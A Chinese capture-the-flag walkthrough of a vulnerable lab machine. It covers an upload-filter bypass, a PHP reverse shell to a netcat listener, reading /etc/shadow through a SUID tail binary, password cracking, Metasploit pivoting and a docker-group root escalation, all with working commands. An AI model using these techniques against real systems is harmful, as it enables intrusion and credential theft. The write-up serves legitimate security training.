本篇使用的靶机,请大家参考官方网站,自行下载靶机

目录

  1. 环境搭建
  2. 渗透测试过程
    1. 靶机发现
    2. 上传漏洞
    3. 反弹shell
    4. 探测网段
  3. 结语

环境搭建

我使用的VirtualBox进行测试,攻击机(Kali linux 2019 32位),IP地址为 192.168.56.104

目标:

  • 使用netdiscover用于发现靶机IP;
  • 网络扫描工具Nmap;
  • 查询HTTP服务端口;
  • Web应用源码查看;
  • 获取反弹Shell;
  • 使用Metasploit添加路由探测网段情况;
  • 通过登录MySQL找到SSH登录凭证;
  • 通过SSH登录,发现docker容器;
  • 以root权限登录docker容器,发现flag;

难度:中级

渗透测试过程

靶机发现

扫描网络,发现靶机netdiscover -r 192.168.56.0/24,靶机ip为192.168.56.101

扫描目标ip开放端口nmap -p- -sVC 192.168.56.101

Nmap的结果显示开放了两个端口:22(SSH),8000(HTTP),其中8000端口是运行HTTP服务,采用WordPress 搭建的;

上传漏洞

同时发现目录/upload.php和/uploads;

打开上传也没/upload.php,发现是要上传图片,随意上传一个文件,返回一个表情,应该是标识上传失败;

于是查看源码发现有一行注释指向了GitHub链接;

然后跟进这个GitHub项目看看,发现了该php上传点的源码;

看到该程序的判断规则是判断文件头,这里就比较简单了,在需要上传PHP大马的头部,加上 “GIF98” 即可绕过,成功上传;

成功上传,但是并不知道上传到服务器上的文件名是什么;

然后重新审查upload.php源码,可以看到程序对我们上传的shell名字然后加上1-100的数字,再进行md5加密储存;我们可以写python脚本实现该方法:

1
2
3
4
5
6
7
8
9
#!/usr/bin/python
import hashlib
for i in range(100):
file = "php-reverse-shell.php" + str(i)
hash = hashlib.md5(file.encode())
dir = hash.hexdigest() + ".php"
f = open("dict.txt", "a+")
f.write(dir+"\r\n")
f.close()

我们就得到了一个shell名字+1-100数字合并并md5加密的字典列表;

使用dirb爆破新文件名dirb http://192.168.56.101:8000/uploads/ dict.txt

反弹shell

这一次我们先监听端口1234,因为上传的php-reverse-shell.php中已经设置好了相应的反弹shell地址和端口(1234);

然后再一次运行dirb指令,获得反弹shell;

1
2
nc -lvp 1234
dirb http://192.168.1.101:8000/uploads/ dict.txt

获得反向shell之后,我们生成了一个TTY shell,我们发现我们在Docker容器中。 我们找到所有设置了SUID位的文件,并发现“tail”命令设置了SUID位。 因此,我们使用“tail”命令打开“/ etc / shadow”。

1
2
3
python3 -c 'import pty;pty.spawn("/bin/bash")'
find / -perm -4000 2>/dev/null
tail -c1G /etc/shadow

我们从/etc/shadow文件中得到了root用户的密码,复制保存到一个文本文件中,使用john

进行破解,并且得到密码就是john;

找到密码后,我们切换到root用户,查看该用户下的目录,并找到一个flag文件,但是查看并没有什么用;

进一步遍历系统,在/var/www/html/wp-config.php中, 打开数据库登录的用户名和密码,但是机器上没有运行MySQL服务,我们也无法使用这些凭据通过SSH登录;

回到/root目录,我们找到一个名为.port的文件,打开文件并找到一个提示来查找其他容器;

探测网段

为了进一步与shell进行交互,为了得到一个meterpreter反向shell,使用Metasploit框架中的web_delivery模块来获取反向shell;

1
2
3
4
msf5 > use exploit/multi/script/web_delivery
msf5 exploit(multi/script/web_delivery) > setg lhost eth0
msf5 exploit(multi/script/web_delivery) > setg lport 8888
msf5 exploit(multi/script/web_delivery) > run

下面复制这段代码,在root-shell 下运行,如图:

获得反向shell后,我们在Metasploit框架中使用autoroute模块进行pivoting

1
2
3
msf5 > use post/multi/manage/autoroute
msf5 post(multi/manage/autoroute) > set session 1
msf5 post(multi/manage/autoroute) > exploit

使用ping_sweep模块来发现网络中的所以机器;

使用portscan模块网络中机器的开放端口;

我们知道端口3306用于MySQL服务,而且刚才也获得了WordPress数据库的用户名和密码;

因此,可以在目标172.18.0.2上通过MySQL登录并使用凭证“wordpress:wordpress”;

检查数据库上的所有可用表,并找到一个名为host_ssh_cred的表,检查表中的列,找到用户名/密码的哈希值;

我们把hash值复制保存到我们系统中为sshpass文件,再用john进行破解,得到123456

1
john --format=RAW-md5 sshpass

登陆ssh 账号密码:hummingbirdscyber – 123456;通过SSH登录后,当我们运行id命令时,发现我们是docker组的成员。 某些容器具有专用组,允许非特权用户管理其容器,而无需升级其权限。 要利用此漏洞,我们首先需要检查可用的docker镜像;

1
2
3
ssh hummingbirdscyber@192.168.1.101
id
docker images

发现Ubuntu映像可供使用,因此使用它来创建一个新的docker容器,并将主机的/目录挂载到名为/root的文件夹中;

运行docker镜像后,转到/root/root/目录下并找到一个名为flag的文件, 当打开文件时,发现祝贺标志。

1
2
3
4
docker run -v /:/root -i -t ubuntu /bin/bash
cd /root
cd root
cat flag

结语

这个靶机个人觉得还是挺不错的,特别是flag放在docker环境下还是很新颖的,学习到很多东西。